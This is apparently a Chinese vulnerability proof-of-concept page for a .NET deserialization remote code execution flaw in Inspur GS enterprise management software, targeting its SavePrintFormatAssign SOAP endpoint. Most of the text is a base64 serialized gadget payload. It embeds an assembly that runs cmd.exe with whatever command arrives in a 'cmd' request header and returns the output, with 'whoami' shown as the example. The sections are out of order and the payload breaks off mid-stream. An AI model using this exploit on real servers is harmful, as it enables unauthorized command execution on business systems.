ALQAHAAhANIAIQApAN0ACgAhAPUAJgAxAAIBCgA5ADAACgA5ADQBKwBBAEIBMAAhAFsBNQBJAJoBOgBRA
KYBPwBZALYBRABBAL0BMABBAMsBSgBBAOYBSgBBAAACSgA5ABQCTwA5ADECUwBpAE8CWAAxAFkCMAAxAF
8CCgAxAGUCCgAuAAsAZQAuABMAbgBcAASAAAAAAAAAAAAAAAAAAAAAAAJQAAAAEAAAAAAAAAAAAAAAABABk
AAAAAAAQAAAAAAAAAAAAAABMAnQAAAAAABAAAAAAAAAAAAAAAAQAiAAAAAAAAAAAA8TW9kdWxlPgBrd3V3
YWNwdy5kbGwARQBtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AC5jdG9yAFN5c3RlbS5SdW50aW1lLkNvbXBpb
GVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbG
l0eUF0dHJpYnV0ZQBrd3V3YWNwdwBTeXN0ZW0uV2ViAEh0dHBDb250ZXh0AGdldF9DdXJyZW50AEh0dHB
TZXJ2ZXJVdGlsaXR5AGdldF9TZXJ2ZXIAQ2xlYXJFcnJvcgBIdHRwUmVzcG9uc2UAZ2V0X1Jlc3BvbnNl
AENsZWFyAFN5c3RlbS5EaWFnbm9zdGljcwBQcm9jZXNzAFByb2Nlc3NTdGFydEluZm8AZ2V0X1N0YXJ0S
W5mbwBzZXRfRmlsZU5hbWUASHR0cFJlcXVlc3QAZ2V0X1JlcXVlc3QAU3lzdGVtLkNvbGxlY3Rpb25zLl
NwZWNpYWxpemVkAE5hbWVWYWx1ZUNvbGxlY3Rpb24AZ2V0X0hlYWRlcnMAZ2V0X0l0ZW0AU3RyaW5nAEN
vbmNhdABzZXRfQXJndW1lbnRzAHNldF9SZWRpcmVjdFN0YW5kYXJkT3V0cHV0AHNldF9SZWRpcmVjdFN0
YW5kYXJkRXJyb3IAc2V0X1VzZVNoZWxsRXhlY3V0ZQBTdGFydABTeXN0ZW0uSU8AU3RyZWFtUmVhZGVyA
GdldF9TdGFuZGFyZE91dHB1dABUZXh0UmVhZGVyAFJlYWRUb0VuZABXcml0ZQBGbHVzaABFbmQARXhjZX
B0aW9uAAAAD2MAbQBkAC4AZQB4AGUAAAdjAG0AZAAABy8AYwAgAAAAAAAA2IZXU/G1oT7AM+EyvNpdOAAi
3elxWGTTgiQMgAAEEIAEBCAiwP19/EdUKOgQAABIRBCAAEhUEIAASGQQgABIhBCABAQ4EIAASJQQgABIp
BCABDg4FAAIODg4EIAEBAgMgAAIEIAASMQMgAA4IBwQSERIdDg4IAQAIAAAAAAAeAQABAFQCFldyYXBOb
25FeGNlcHRpb25UaHJvd3MBAAAAuCYAAAAAAAAAAAAAAziYAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM
```

AmAAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAAAAAA/yUAIAAQAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAA
AAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAAEgAAABYQAAATAIAAAAAAAAAAAATAI0AAAAVgBTA
F8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAAAAAAAAAAAAAAAAAAAAAD8AAAAAAA
AABAAAAIAAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQ
AcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBKwBAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYA
bwAAAIgBAAABADAAMAAwADAAMAA0AGIAMAAAACwAAgABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAb
wBuAAAAAAAAgAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAAwAC4AMAAuADAALgAwAAAAPA
ANAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABrAHcAdQB3AGEAYwBwAHcALgBkAGwAbAAAAAAAAKAA
CAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAIAAAAEQADQABAE8AcgBpAGcAaQBuAGEAbABG
AGkAbABlAG4AYQBtAGUAAABrAHcAdQB3AGEAYwBwAHcALgBkAGwAbAAAAAAAANAAIAAEAUAByAG8AZAB1A
GMAdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAF
YAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAACAAAAwAAADgNgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDwAAAB9TeXN0ZW0uVW5pdHlTZ
XJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBiEAAAD+AV
N5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGV
tLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNL
ZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1zY29yb
GliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNT
YxOTM0ZTA4OV1dBAAAAAYiAAAATlN5c3RlbS5Db3JlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV
1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAQAAAABwAAAAkDAAAACgkkAAAACggI
AAAAAAoICAEAAAABEQAAAA8AAAAGJQAAAPUCU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZVNlbGVjd
EVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIF
ZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzR
lMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGUs
IG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Y
jc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYW
wsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAJIgAAABASAAAABwAAAAkEAAAACgk
oAAAACggIAAAAAAoICAEAAAABEwAAAA8AAAAGKQAAAN8DU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVy
ZVNlbGVjdEVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51b
WVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZX
V0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQ
uMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5
c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpY
iwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MT
kzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWN
LZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQFAAAAACAAAAJBQAAAAoJLAAAAAoICAAA
AAAKCAgBAAAAARUAAAAPAAAABi0AAADmAlN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFb
nVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMV

```
tbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHV
ibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBD
dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uVHlwZ
SwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj
1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQFgAAAAcAAAAJBgAAAAkwAAAACTEAAAAKCAgAAAAACgg
IAQAAAAEXAAAADwAAAAYyAAAA7wFTeXN0ZW0uTGlucS5FbnVtZXJhYmxlK1doZXJlU2VsZWN0RW51bWVy
YWJsZUl0ZXJhdG9yYDJbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0d
XJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uT2JqZWN0LC
Btc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI
3N2E1YzU2MTkzNGUwODldXQQAAAAJIgAAABAYAAAABwAAAAkHAAAACgk1AAAACggIAAAAAAoICAEAAAAB
GQAAAA8AAAAGNgAAAClTeXN0ZW0uV2ViLlVJLldlYkNvbnRyb2xzLlBhZ2VkRGF0YVNvdXJjZQQAAAAGN
wAAAE1TeXN0ZW0uV2ViLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG
9rZW49YjAzZjVmN2YxMWQ1MGEzYRAaAAAABwAAAAkIAAAACAgAAAAACAgKAAAACAEACAEACAEACAgAAAA
AARsAAAAPAAAABjkAAAApU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbi5EZXNpZ25lclZlcmIEAAAA
BjoAAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZ
W49Yjc3YTVjNTYxOTM0ZTA4ORAcAAAABQAAAA0CCTsAAAAICAMAAAAJCwAAAAEdAAAADwAAAAY9AAAANF
N5c3RlbS5SdW50aW1lLlJlbW90aW5nLkNoYW5uZWxzLkFnZ3JlZ2F0ZURpY3Rpb25hcnkEAAAABj4AAAB
LbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1i
NzdhNWM1NjE5MzRlMDg5EB4AAAABAAAACQkAAAAQHwAAAAIAAAAJCgAAAAkKAAAAECAAAAACAAAABkEAA
AAACUEAAAAEJAAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQ
dtZXRob2QwAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N
5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCUIAAAAJQwAAAAEoAAAA
JAAAAAlEAAAACUUAAAABLAAAACQAAAAJRgAAAAlHAAAAATAAAAAkAAAACUgAAAAJSQAAAAExAAAAJAAAAA
AlKAAAACUsAAAABNQAAACQAAAAJTAAAAAlNAAAAATsAAAAEAAAACU4AAAAJTwAAAARCAAAAMFN5c3RlbS
5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeeQcAAAAEdHlwZQhhc3NlbWJseeQZ
OYXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVF
bnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5B
lAAAADVAVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLj
AsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5
SZWZsZWN0aW9uLkFzc2VtYmx5LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRy
YWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABlIAAAAaU3lzdGVtL
lJlZmxlY3Rpb24uQXNzZW1ibHkGUwAAARMb2FkCgRDAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlck
luZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF
0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5
cGVbXQlTAAAACT4AAAAJUgAAAAZWAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0Z
VtdKQZXAAAALlN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoU3lzdGVtLkJ5dGVbXSkIAAAACg
FEAAAAQgAAAAZYAAAAzAJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXN
jb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh
NWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzd
GVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2
V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJ
lPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAACVIAAAAG
WwAAAAhHZXRUeXBlcwoBRQAAAEMAAAAJWwAAAAk+AAAACVIAAAAGXgAAABhTeXN0ZW0uVHlwZVtdIEdld
FR5cGVzKCkGXwAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkIAAAACgFGAAAAQgAAAAZgAAAAtgNTeX
N0ZW0uRnVuY2AyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0
uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlU
b2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9b
mV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy
5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4
wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbXNjb3Js
aWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1N
jE5MzRlMDg5XV0JPgAAAAoJPgAAAAZiAAAAhAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bW
VyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV
0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GYwAAAA1HZXRFbnVtZXJhdG9yCgFH
AAAAQwAAAAljAAAACT4AAAAJYgAAAAZmAAAARVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZ
XJhdG9yYDFbU3lzdGVtLlR5cGVdIEdldEVudW1lcmF0b3IoKQZnAAAAlAFTeXN0ZW0uQ29sbGVjdGlvbn
```

```
MuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjA
uMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0gR2V0RW51
bWVyYXRvcigpCAAAAAoBSAAAAEIAAAAGaAAAAMACU3lzdGVtLkZ1bmNgMltbU3lzdGVtLkNvbGxlY3Rpb
25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC
4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2N
vcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1
YzU2MTkzNGUwODldLFtTeXN0ZW0uQm9vbGVhbiwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3Vsd
HVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZqAA
AAHlN5c3RlbS5Db2xsZWN0aW9ucy5JRW51bWVyYXRvcgZrAAAACE1vdmVOZXh0CgFJAAAAQwAAAAlrAAA
ACT4AAAAJagAAAAZuAAAAEkJvb2xlYW4gTW92ZU5leHQoKQZvAAAAGVN5c3RlbS5Cb29sZWFuIE1vdmVO
ZXh0KCkIAAAACgFKAAAAQgAAAAZwAAAAvQJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR
2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMC
wgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGl
iLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYx
OTM0ZTA4OV0sW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ld
XRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABnIAAACEAVN5c3
RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiw
gVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkz
NGUwODldXQZzAAAAC2dldF9DdXJyZW50CgFLAAAAQwAAAAlzAAAACT4AAAAJcgAAAAZ2AAAAGVN5c3Rlb
S5UeXBlIGdldF9DdXJyZW50KCkGdwAAABlTeXN0ZW0uVHlwZSBnZXRfQ3VycmVudCgpCAAAAAoBTAAAAE
IAAAAGeAAAAMYBU3lzdGVtLkZ1bmNgMltbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4
wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3Rl
bS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS
2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCT4AAAAKCT4AAAAGegAAABBTeXN0ZW0uQWN0aXZhdG9yBn
sAAAAOQ3JlYXRlSW5zdGFuY2UKAU0AAABDAAAACXsAAAAJPgAAAl6AAAABn4AAAApU3lzdGVtLk9iamV
jdCBDcmVhdGVJbnN0YW5jZShTeXN0ZW0uVHlwZSkGfwAAAClTeXN0ZW0uT2JqZWN0IENyZWF0ZUluc3Rh
bmNlKFN5c3RlbS5UeXBlKQgAAAAKAU4AAAAPAAAABoAAAAAmU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc
2lnbi5Db21tYW5kSUQEAAAACToAAAAQTwAAAAIAAAAJggAAAAgIACAAAASCAAAAC1N5c3RlbS5HdWlkCw
AAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfawAAAAAAAAAAAAAAAACAcHAgICAgICAgITE9J
O7irREYv7AKDJDyb3Cws=</printOpByte>
      <printInfoByte></printInfoByte>
    </SavePrintFormatAssign>
  </soap:Body>
</soap:Envelope>
```

浪潮GS企业管理软件多处 .NET反序列化RCE漏洞poc1

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/cwbase/service/rps/xtdysrv.asmx
- 漏洞详情：

```
POST /cwbase/service/rps/xtdysrv.asmx HTTP/1.1
Host:
Content-Type: text/xml; charset=utf-8
Content-Length: length
cmd: whoami
SOAPAction: "http://tempuri.org/SavePrintFormatAssign"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
```

```
  <soap:Body>
    <SavePrintFormatAssign xmlns="http://tempuri.org/">
      <psBizObj>string</psBizObj>
      <psLxId>string</psLxId>
      <psLxMc>string</psLxMc>
```

<printOpByte>AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lv
bj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFA
QAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAAEVByb3BlcnR5QmFnQmluYXJ5Bw
ICAAAACQMAAAAPAwAAAMctAAACAAEAAAD/////AQAAAAAAAAAEAQAAAH9TeXN0ZW0uQ29sbGVjdGlvbnM
uR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1
bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAZfaXRlbXMFX
3NpemUIX3ZlcnNpb24FAAAICAkCAAAACgAAAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAA
kHAAAACQgAAAAJCQAAAAkKAAAACQsAAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABhU3l
zdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJh
bCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c3RlbS5Xb3JrZmxvdy5Db21wb
25lbnRNb2RlbC5TZXJpYWxpemF0aW9uLkFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3IrT2JqZWN0U3Vycm
9nYXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULbWVtYmVyRGF0YXMDBR9TeXN0ZW0uVW5pdHl
TZXJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAACRAAAAABBQAAAAQAAAAJEQAAAAkSAAAAAQYAAAAEAAAA
CRMAAAAJFAAAAAEHAAAABAAAAAkVAAAACRYAAAABCAAAAAQAAAAJFwAAAAkYAAAAAQkAAAAEAAAACRkAA
AAJGgAAAAEKAAAABAAAAAkbAAAACRwAAAABCwAAAAQAAAAJHQAAAAkeAAAABAwAAAAcU3lzdGVtLkNvbG
xlY3Rpb25zLkhhc2h0YWJsZQcAAAAKTG9hZEZhY3RvcgdWZXJzaW9uCENvbXBhcmVyEEhhc2hDb2RlUHJ
vdmlkZXIISGFzaFNpemUES2V5cwZWYWx1ZXMAAAMDAAUFCwgcU3lzdGVtLkNvbGxlY3Rpb25zLklDb21w
YXJlciRTeXN0ZW0uQ29sbGVjdGlvbnMuSUhhc2hDb2RlUHJvdmlkZXII7FE4PwIAAAAKCgMAAAAJHwAAA
AkgAAAADw0AAAAAEAAAAk1akAADAAAABAAAAP//AAC4AAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAIAAAAAOH7oOALQJzSG4AUzNIVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGl
uIERPUyBtb2RlLg0NCiQAAAAAAAAAAUEUAAEwBAwBrydRkAAAAAAAAAAAADgAAIhCwELAAAIAAAABgAAAAAA
AN4mAAAAIAAAAEAAAAAAABAAIAAAAAIAAAQAAAAAAAAAABAAAAAAAAAAAAgAAAAAIAAAAAAAAADAECFAAAQA
